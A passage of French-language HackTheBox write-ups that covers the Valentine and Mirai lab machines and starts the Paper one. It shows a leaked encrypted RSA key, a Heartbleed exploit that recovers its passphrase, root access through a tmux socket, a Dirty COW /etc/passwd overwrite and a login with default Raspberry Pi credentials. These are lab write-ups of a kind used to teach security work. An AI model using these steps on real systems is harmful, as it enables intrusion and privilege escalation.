61 31 54 38 7a 6c 61 73 36 66 63 6d 68 4d 38 41 2b 38 50 0d 0a 4f 58 42 4b 4e 65 36 6c 31 37 68 4b 61 54 36 77 46 6e 70 35 65 58 4f 61 55 49 48 76 48 6e 76 4f 36 53 63 48 56 57 52 72 5a 37 30 66 63 70 63 70 69 6d 4c 31 77 31 33 54 67 64 64 32 41 69 47 64 0d 0a 70 48 4c 4a 70 59 55 49 49 35 50 75 4f 36 78 2b 4c 53 38 6e 31 72 2f 47 57 4d 71 53 4f 45 69 6d 4e 52 44 31 6a 2f 35 39 2f 34 75 33 52 4f 72 54 43 4b 65 6f 39 44 73 54 52 71 73 32 6b 31 53 48 0d 0a 51 64 57 77 46 77 61 58 62 59 79 54 31 75 78 41 4d 53 6c 35 48 71 39 4f 44 35 48 4a 38 47 30 52 36 4a 49 35 52 76 43 4e 55 51 6a 77 78 30 46 49 54 6a 6a 4d 6a 6e 4c 49 70 78 6a 76 66 71 2b 45 0d 0a 70 30 67 44 30 55 63 79 6c 4b 6d 36 72 43 5a 71 61 63 77 6e 53 64 64 48 57 38 57 33 4c 78 4a 6d 43 78 64 78 57 35 6c 74 35 64 50 6a 41 6b 42 59 52 55 6e 6c 39 31 45 53 43 69 44 34 5a 2b 75 43 0d 0a 4f 6c 36 6a 4c 46 44 32 6b 61 4f 4c 66 75 79 65 65 30 66 59 43 62 37 47 54 71 4f 65 37 45 6d 4d 42 33 66 47 49 77 53 64 57 38 4f 43 38 4e 57 54 6b 77 70 6a 63 30 45 4c 62 6c 55 61 36 75 6c 4f 0d 0a 74 39 67 72 53 6f 73 52 54 43 73 5a 64 31 34 4f 50 74 73 34 62 4c 73 70 4b 78 4d 4d 4f 73 67 6e 4b 6c 6f 58 76 6e 6c 50 4f 53 77 53 70 57 79 39 57 70 36 79 38 58 58 38 2b 46 34 30 72 78 6c 35 0d 0a 58 71 68 44 55 42 68 79 6b 31 43 33 59 50 4f 69 44 75 50 4f 6e 4d 58 61 49 70 65 31 64 67 62 30 4e 64 44 31 4d 39 5a 51 53 4e 55 4c 77 31 44 48 43 47 50 50 34 4a 53 53 78 58 37 42 57 64 44 4b 0d 0a 61 41 6e 57 4a 76 46 67 6c 41 34 6f 46 42 42 56 41 38 75 41 50 4d 66 56 32 58 46 51 6e 6a 77 55 54 35 62 50 4c 43 36 35 74 46 73 74 6f 52 74 54 5a 31 75 53 72 75 61 69 32 37 6b 78 54 6e 4c 51 0d 0a 2b 77 51 38 37 6c 4d 61 64 64 73 31 47 51 4e 65 47 73 4b 53 66 38 52 2f 72 73 52 4b 65 65 4b 63 69 6c 44 65 50 43 6a 65 61 4c 71 74 71 78 6e 68 4e 6f 46 74 67 30 4d 78 74 36 72 32 67 62 31 45 0d 0a 41 6c 6f 51 36 6a 67 35 54 62 6a 35 4a 37 71 75 59 58 5a 50 79 6c 42 6c 6a 4e 70 39 47 56 70 69 6e 50 63 33 4b 70 48 74 74 76 67 62 70 74 66 69 57 45 45 73 5a 59 6e 35 79 5a 50 68 55 72 39 51 0d 0a 72 30 38 70 6b 4f 78 41 72 58 45 32 64 6a 37 65 58 2b 62 71 36 35 36 33 35 4f 4a 36 54 71 48 62 41 6c 54 51 31 52 73 39 50 75 6c 72 53 37 4b 34 53 4c 58 37 6e 59 38 39 2f 52 5a 35 6f 53 51 65 0d 0a 32 56 57 52 79 54 5a 31 46 66 6e 67 4a 53 73 76 39 2b 4d 66 76 7a 33 34 31 6c 62 7a 4f 49 57 6d 6b 37 57 66 45 63 57 63 48 63 31 36 6e 39 56 30 49 62 53 4e 41 4c 6e 6a 54 68 76 45 63 50 6b 79 0d 0a 65 31 42 73 66 53 62 73 66 39 46 67 75 55 5a 6b 67 48 41 6e 6e 66 52 4b 6b 47 56 47 31 4f 56 79 75 77 63 2f 4c 56 6a 6d 62 68 5a 7a 4b 77 4c 68 61 5a 52 4e 64 38 48 45 4d 38 36 66 4e 6f 6a 50 0d 0a 30 39 6e 56 6a 54 61 59 74 57 55 58 6b 30 53 69 31 57 30 32 77 62 75 31 4e 7a 4c 2b 31 54 67 39 49 70 4e 79 49 53 46 43 46 59 6a 53 71 69 79 47 2b 57 55 37 49 77 4b 33 59 55 35 6b 70 33 43 43 0d 0a 64 59 53 63 7a 36 33 51 32 70 51 61 66 78 66 53 62 75 76 34 43 4d 6e 4e 70 64 69 72 56 4b 45 6f 35 6e 52 52 66 4b 2f 69 61 4c 33 58 31 52 33 44 78 56 38 65 53 59 46 4b 46 4c 36 70 71 70 75 58 0d 0a 63 59 35 59 5a 4a 47 41 70 2b 4a 78 73 6e 49 51 39 43 46 79 78 49 74 39 32 66 72 58 7a 6e 73 6a 68 6c 59 61 38 73 76 62 56 4e 4e 66 6b 2f 39 66 79 58 36 6f 70 32 34 72 4c 32 44 79 45 53 70 59 0d 0a 70 6e 73 75 6b 42 43 46 42 6b 5a 48 57 4e 4e 79 65 4e 37 62 35 47 68 54 56 43 6f 64 48 68 7a 48 56 46 65 68 54 75 42 72 70 2b 56 75 50 71 61 71 44 76 4d 43 56 65 31 44 5a 43 62 34 4d 6a 41 6a 0d 0a 4d 73 6c 66 2b 39 78 4b 2b 54 58 45 4c 33 69 63 6d 49 4f 42 52 64 50 79 77 36 65 2f 4a 6c 51 6c 56 52 6c 6d 53 68 46 70 49 38 65 62 2f 38 56 73 54 79 4a 53 65 2b 62 38 35 33 7a 75 56 32 71 4c 0d 0a 73 75 4c 61 42 4d 78 59 4b 6d 33 2b 7a 45 44 49 44 76 65 4b 50 4e 61 61 57 5a 67 45 63 71 78 79 6c 43 43 2f 77 55 79 55 58 6c 4d 4a 35 30 4e 77 36 4a 4e 56 4d 4d 38 4c 65 43 69 69 33 4f 45 57 0d 0a 6c 30 6c 6e 39 4c 31 62 2f 4e 58 70 48 6a 47 61 38 57 48 48 54 6a 6f 49 69 6c 42 35 71 4e 55 79 79 77 53 65 54 42 46 32 61 77 52 6c 58 48 39 42 72 6b 5a 47 34 46 63 34 67 64 6d 57 2f 49 7a 54 0d 0a 52 55 67 5a 6b 62 4d 51 5a 4e 49 49 66 7a 6a 31 51 75 69 6c 52 56 42 6d 2f 46 37 36 59 2f 59 4d 72 6d 6e 4d 39 6b 2f 31 78 53 47 49 73 6b 77 43 55 51 2b 39 35 43 47 48 4a 45 38 4d 6b 68 44 33 0d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d

------------------------------------

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46

DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R
5y/b46+9nEpCMfTPhNuJRcW2U2gJcOFH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6
0EI0SbOYUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi
Ebw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P
OXBKNe6l17hKaT6wFnp5eXOaUIHvHnvO6ScHVWRrZ70fcpcpimL1w13Tgdd2AiGd
pHLJpYUII5PuO6x+LS8n1r/GWMqSOEimNRD1j/59/4u3ROrTCKeo9DsTRqs2k1SH
QdWwFwaXbYyT1uxAMSl5Hq9OD5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+E
p0gD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z+uC
Ol6jLFD2kaOLfuyee0fYCb7GTqOe7EmMB3fGIwSdW8OC8NWTkwpjc0ELblUa6ulO
t9grSosRTCsZd14OPts4bLspKxMMOsgnKloXvnlPOSwSpWy9Wp6y8XX8+F40rxl5
XqhDUBhyk1C3YPOiDuPOnMXaIpe1dgb0NdD1M9ZQSNULw1DHCGPP4JSSxX7BWdDK
aAnWJvFglA4oFBBVA8uAPMfV2XFQnjwUT5bPLC65tFstoRtTZ1uSruai27kxTnLQ
+wQ87lMadds1GQNeGsKSf8R/rsRKeeKcilDePCjeaLqtqxnhNoFtg0Mxt6r2gb1E
AloQ6jg5Tbj5J7quYXZPylBljNp9GVpinPc3KpHttvgbptfiWEEsZYn5yZPhUr9Q
r08pkOxArXE2dj7eX+bq65635OJ6TqHbAlTQ1Rs9PulrS7K4SLX7nY89/RZ5oSQe
2VWRyTZ1FfngJSsv9+Mfvz341lbzOIWmk7WfEcWcHc16n9V0IbSNALnjThvEcPky
e1BsfSbsf9FguUZkgHAnnfRKkGVG1OVyuwc/LVjmbhZzKwLhaZRNd8HEM86fNojP
09nVjTaYtWUXk0Si1W02wbu1NzL+1Tg9IpNyISFCFYjSqiyG+WU7IwK3YU5kp3CC
dYScz63Q2pQafxfSbuv4CMnNpdirVKEo5nRRfK/iaL3X1R3DxV8eSYFKFL6pqpuX
cY5YZJGAp+JxsnIQ9CFyxIt92frXznsjhlYa8svbVNNfk/9fyX6op24rL2DyESpY
pnsukBCFBkZHWNNyeN7b5GhTVCodHhzHVFehTuBrp+VuPqaqDvMCVe1DZCb4MjAj
Mslf+9xK+TXEL3icmIOBRdPyw6e/JlQlVRlmShFpI8eb/8VsTyJSe+b853zuV2qL
suLaBMxYKm3+zEDIDveKPNaaWZgEcqxylCC/wUyUXlMJ50Nw6JNVMM8LeCii3OEW
l0ln9L1b/NXpHjGa8WHHTjoIilB5qNUyywSeTBF2awRlXH9BrkZG4Fc4gdmW/IzT
RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3
-----END RSA PRIVATE KEY-----

Heartbleed Vulnerability

On découvre une grosse vulnérabilité grâce à nmap –script.

nmap –script

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68


┌──(kali㉿kali)-[~]
└─$ nmap --script vuln 10.10.10.79
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-09 17:54 EST
Nmap scan report for 10.10.10.79
Host is up (0.077s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum:
| /dev/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)'
|_ /index/: Potentially interesting folder
443/tcp open https
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| http://www.openssl.org/news/secadv_20140407.txt
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|_ http://cvedetails.com/cve/2014-0160/
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| ssl-poodle:
| VULNERABLE:
| SSL POODLE information leak
| State: VULNERABLE
| IDs: BID:70574 CVE:CVE-2014-3566
| The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
| products, uses nondeterministic CBC padding, which makes it easier
| for man-in-the-middle attackers to obtain cleartext data via a
| padding-oracle attack, aka the "POODLE" issue.
| Disclosure date: 2014-10-14
| Check results:
| TLS_RSA_WITH_AES_128_CBC_SHA
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
| https://www.imperialviolet.org/2014/10/14/poodle.html
| https://www.securityfocus.com/bid/70574
|_ https://www.openssl.org/~bodo/ssl-poodle.pdf
| ssl-ccs-injection:
| VULNERABLE:
| SSL/TLS MITM vulnerability (CCS Injection)
| State: VULNERABLE
| Risk factor: High
| OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
| does not properly restrict processing of ChangeCipherSpec messages,
| which allows man-in-the-middle attackers to trigger use of a zero
| length master key in certain OpenSSL-to-OpenSSL communications, and
| consequently hijack sessions or obtain sensitive information, via
| a crafted TLS handshake, aka the "CCS Injection" vulnerability.
|
| References:
| http://www.cvedetails.com/cve/2014-0224
| http://www.openssl.org/news/secadv_20140605.txt
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
| http-enum:
| /dev/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)'
|_ /index/: Potentially interesting folder
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)

heartbleed attack

En utilisant un script python, on peut exploiter l’attaque heartbleed et trouver des infos. On récupère notamment une chaine base64 contenant le mot de passe de la clé ssh trouvé précédemment.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


┌──(kali㉿kali)-[~/htb/Valentine/heartbleed-poc]
└─$ python2 ./heartbleed-poc.py 10.10.10.79 | sleep 1 | cat dump.bin | grep -ia '==' -A5 -B5
42

▒
##0.0.1/decode.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==
W��׼�K�o�s!J�P[
...

On décode le base64

1
2
3


┌──(kali㉿kali)-[~/htb/Valentine/heartbleed-poc]
└─$ echo -n "aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==" | base64 -d
heartbleedbelievethehype

On déchiffré la clé définitivement pour ne plus avoir a taper le mot de passe:

1
2
3


┌──(kali㉿kali)-[~/htb/Valentine]
└─$ openssl rsa -in hype.key -out hype.decrypted_key -passin pass:heartbleedbelievethehype
writing RSA key

SSH hype | user flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


┌──(kali㉿kali)-[~/htb/Valentine]
└─$ ssh -o PubkeyAcceptedKeyTypes=ssh-rsa -i hype.key hype@10.10.10.79
Enter passphrase for key 'hype.key':
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)

 * Documentation: https://help.ubuntu.com/

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Fri Feb 16 14:50:29 2018 from 10.10.14.3
hype@Valentine:~$ cat user.txt
7b7f.....1de5

Privilege escalation

.bash_history

On observe qu’il existe un dossier “/.devs/” contenant une session de terminal tmux “/.devs/dev_sess”.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


hype@Valentine:~$ cat .bash_history

exit
exot
exit
ls -la
cd /
ls -la
cd .devs
ls -la
tmux -L dev_sess
tmux a -t dev_sess
tmux --help
tmux -S /.devs/dev_sess
exit

Root tmux session - root flag

1
2
3
4
5


hype@Valentine:~$ tmux -S /.devs/dev_sess
root@Valentine:/home/hype# whoami
root
root@Valentine:/home/hype# cat /root/root.txt
ced9.....6598

Privilege escalation 2 - Dirtycow

On peut aller sur ce lien pour voir une liste d’exploit dirty cow possible https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

dirtycow

Voici celui qu’on va executer : https://github.com/FireFart/dirtycow/blob/master/dirty.c

‘Generates a new password hash on the fly and modifies /etc/passwd automatically. Just run and pwn.’

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64


hype@Valentine:~$ gcc -pthread diirty.c -o diirty -lcrypt
hype@Valentine:~$ chmod +x diirty
hype@Valentine:~$ ./diirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password:
Complete line:
firefart:fiL7R2XneVpAU:0:0:pwned:/root:/bin/bash

mmap: 7f0df1fda000
madvise 0

ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'hello'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'hello'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
hype@Valentine:~$ cat /etc/passwd
firefart:fiL7R2XneVpAU:0:0:pwned:/root:/bin/bash
/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
colord:x:103:108:colord colour management daemon,,,:/var/lib/colord:/bin/false
lightdm:x:104:111:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:105:114::/nonexistent:/bin/false
avahi-autoipd:x:106:117:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:107:118:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
usbmux:x:108:46:usbmux daemon,,,:/home/usbmux:/bin/false
kernoops:x:109:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:110:119:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:111:122:RealtimeKit,,,:/proc:/bin/false
speech-dispatcher:x:112:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
hplip:x:113:7:HPLIP system user,,,:/var/run/hplip:/bin/false
saned:x:114:123::/home/saned:/bin/false
hype:x:1000:1000:Hemorrhage,,,:/home/hype:/bin/bash
sshd:x:115:65534::/var/run/sshd:/usr/sbin/nologin
hype@Valentine:~$ su firefart
Password:
firefart@Valentine:/home/hype# whoami
firefart
firefart@Valentine:/home/hype# cat /root/root.txt
ced9.....6598

HTB | Mirai

Thu, 06 Feb 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Mirai	Linux	10.10.10.48	Easy

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


$ nmap -sC -sV -An -T4 -vvv 10.10.10.48
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey:
| 1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAJpzaaGcmwdVrkG//X5kr6m9em2hEu3SianCnerFwTGHgUHrRpR6iocVhd8gN21TPNTwFF47q8nUitupMBnvImwAs8NcjLVclPSdFJSWwTxbaBiXOqyjV5BcKty+s2N8I9neI2coRBtZDUwUiF/1gUAZIimeKOj2x39kcBpcpM6ZAAAAFQDwL9La/FPu1rEutE8yfdIgxTDDNQAAAIBJbfYW/IeOFHPiKBzHWiM8JTjhPCcvjIkNjKMMdS6uo00/JQH4VUUTscc/LTvYmQeLAyc7GYQ/AcLgoYFHm8hDgFVN2D4BQ7yGQT9dU4GAOp4/H1wHPKlAiBuDQMsyEk2s2J+60Rt+hUKCZfnxPOoD9l+VEWfZQYCTOBi3gOAotgAAAIBd6OWkakYL2e132lg6Z02202PIq9zvAx3tfViuU9CGStiIW4eH4qrhSMiUKrhbNeCzvdcw6pRWK41+vDiQrhV12/w6JSowf9KHxvoprAGiEg7GjyvidBr9Mzv1WajlU9BQO0Nc7poV2UzyMwLYLqzdjBJT28WUs3qYTxanaUrV9g==
| 2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpSoRAKB+cPR8bChDdajCIpf4p1zHfZyu2xnIkqRAgm6Dws2zcy+VAZriPDRUrht10GfsBLZtp/1PZpkUd2b1PKvN2YIg4SDtpvTrdwAM2uCgUrZdKRoFa+nd8REgkTg8JRYkSGQ/RxBZzb06JZhRSvLABFve3rEPVdwTf4mzzNuryV4DNctrAojjP4Sq7Msc24poQRG9AkeyS1h4zrZMbB0DQaKoyY3pss5FWJ+qa83XNsqjnKlKhSbjH17pBFhlfo/6bGkIE68vS5CQi9Phygke6/a39EP2pJp6WzT5KI3Yosex3Br85kbh/J8CVf4EDIRs5qismW+AZLeJUJHrj
| 256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCl89gWp+rA+2SLZzt3r7x+9sXFOCy9g3C9Yk1S21hT/VOmlqYys1fbAvqwoVvkpRvHRzbd5CxViOVih0TeW/bM=
| 256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILvYtCvO/UREAhODuSsm7liSb9SZ8gLoZtn7P46SIDZL
53/tcp open domain syn-ack ttl 63 dnsmasq 2.76
| dns-nsid:
|_ bind.version: dnsmasq-2.76
80/tcp open http syn-ack ttl 63 lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST

gobuster : Website port 80

On trouve notamment un dossier .git

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


┌──(kali㉿kali)-[~/htb/Mirai/pi_git_repo]
└─$ gobuster dir -u http://10.10.10.48/admin -t 50 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.48/admin
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git/HEAD (Status: 200) [Size: 23]
/img (Status: 301) [Size: 0] [--> http://10.10.10.48/admin/img/]
/LICENSE (Status: 200) [Size: 14164]
/index.php (Status: 200) [Size: 14620]
/scripts (Status: 301) [Size: 0] [--> http://10.10.10.48/admin/scripts/]
/style (Status: 301) [Size: 0] [--> http://10.10.10.48/admin/style/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

Foothold : Pi Hole

Burp

On remplace dans la requete HTTP le champs “HOST: 10.10.10.48” par autre chose par exemple “HOST: test”. Et là, on observe une réponse avec un code source (alors que de base on avait une réponse sans code source, vide…).

Dans le code source, on trouve un nom de domaine:

1

<script src="http://pi.hole/admin/scripts/vendor/jquery.min.js">

On obtient : pi.hole

Cela suggère :

Un filtrage basé sur l’en-tête Host (pratique courante avec des reverse proxies ou des DNS internes).
Le serveur attend des requêtes destinées à un domaine spécifique, probablement configuré localement.

dig

On sait qu’il y a un dns sur ce serveur (port 53). Donc, d’après ippsec (et oui j’ai pas trouvé ça tt seul…), on peut faire :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


┌──(kali㉿kali)-[~/htb/Mirai/pi-hole-3.1.4]
└─$ dig @10.10.10.48 pi.hole

; <<>> DiG 9.20.3-1-Debian <<>> @10.10.10.48 pi.hole
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 32672
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;pi.hole. IN A

;; ANSWER SECTION:
pi.hole. 300 IN A 192.168.204.129

;; Query time: 20 msec
;; SERVER: 10.10.10.48#53(10.10.10.48) (UDP)
;; WHEN: Wed Feb 05 17:08:46 EST 2025
;; MSG SIZE rcvd: 52

SSH Default Credentials - Raspberry PI

Après la découverte de pi hole, il en déduire que la machine est un raspberry pi. Or, les credentials SSH par défaut sur un raspberry sont: pi:rasberry

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


┌──(kali㉿kali)-[~/htb/Mirai/pi-hole-3.1.4]
└─$ ssh pi@10.10.10.48
The authenticity of host '10.10.10.48 (10.10.10.48)' can't be established.
ED25519 key fingerprint is SHA256:TL7joF/Kz3rDLVFgQ1qkyXTnVQBTYrV44Y2oXyjOa60.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.48' (ED25519) to the list of known hosts.

pi@10.10.10.48's password: raspberry

pi@raspberrypi:~ $ cat Desktop/user.txt
ff83.....838d
pi@raspberrypi:~ $

Fake root flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


pi@raspberrypi:~/python_games $ sudo -l
Matching Defaults entries for pi on localhost:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User pi may run the following commands on localhost:
 (ALL : ALL) ALL
 (ALL) NOPASSWD: ALL
pi@raspberrypi:~/python_games $ sudo su
root@raspberrypi:/home/pi/python_games# cat /root/root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...

Restoring Root flag

usbstick

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


root@raspberrypi:/media# lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 0 10G 0 disk
├─sda1 8:1 0 1.3G 0 part /lib/live/mount/persistence/sda1
└─sda2 8:2 0 8.7G 0 part /lib/live/mount/persistence/sda2
sdb 8:16 0 10M 0 disk /media/usbstick
sr0 11:0 1 1024M 0 rom
loop0 7:0 0 1.2G 1 loop /lib/live/mount/rootfs/filesystem.squashfs
root@raspberrypi:/media/usbstick# cat
damnit.txt lost+found/
root@raspberrypi:/media/usbstick# cat damnit.txt
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?

-James

-------------------------------------------------------

## On aurait aussi pu faire :
root@raspberrypi:~# df -lh
Filesystem Size Used Avail Use% Mounted on
aufs 8.5G 2.8G 5.3G 35% /
tmpfs 100M 13M 88M 13% /run
/dev/sda1 1.3G 1.3G 0 100% /lib/live/mount/persistence/sda1
/dev/loop0 1.3G 1.3G 0 100% /lib/live/mount/rootfs/filesystem.squashfs
...
/dev/sdb 8.7M 93K 7.9M 2% /media/usbstick
tmpfs 50M 0 50M 0% /run/user/999
tmpfs 50M 0 50M 0% /run/user/1000

root@raspberrypi:~# mount
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /run type tmpfs (rw,nosuid,relatime,size=102396k,mode=755)
...
...
/dev/sdb on /media/usbstick type ext4 (ro,nosuid,nodev,noexec,relatime,data=ordered)
...

Creating image of the usb key

1
2
3
4


root@raspberrypi:~# dd if=/dev/sdb of=/root/usbstick.img bs=4M
2+1 records in
2+1 records out
10485760 bytes (10 MB) copied, 0.0202228 s, 519 MB/s

forensics on the img

En utilisant la commande strings (meme pas besoin de autopsy…) on trouve rapidement le flag dans l’image de la clé usb.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


root@raspberrypi:~# strings usbstick.img
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
/media/usbstick
2]8^
lost+found
root.txt
damnit.txt
>r &
3d3e.....020b <<<<<<<<<<<<<<< HERE IT IS
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James

BONUS

On pouvait faire un string directement sur le volume de la clé usb… ca marche aussi !

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


root@raspberrypi:~# strings /dev/sdb
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
/media/usbstick
2]8^
lost+found
root.txt
damnit.txt
>r &
3d3e.....020b
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James

HTB | Paper

Sat, 01 Feb 2025 00:00:00 +0000

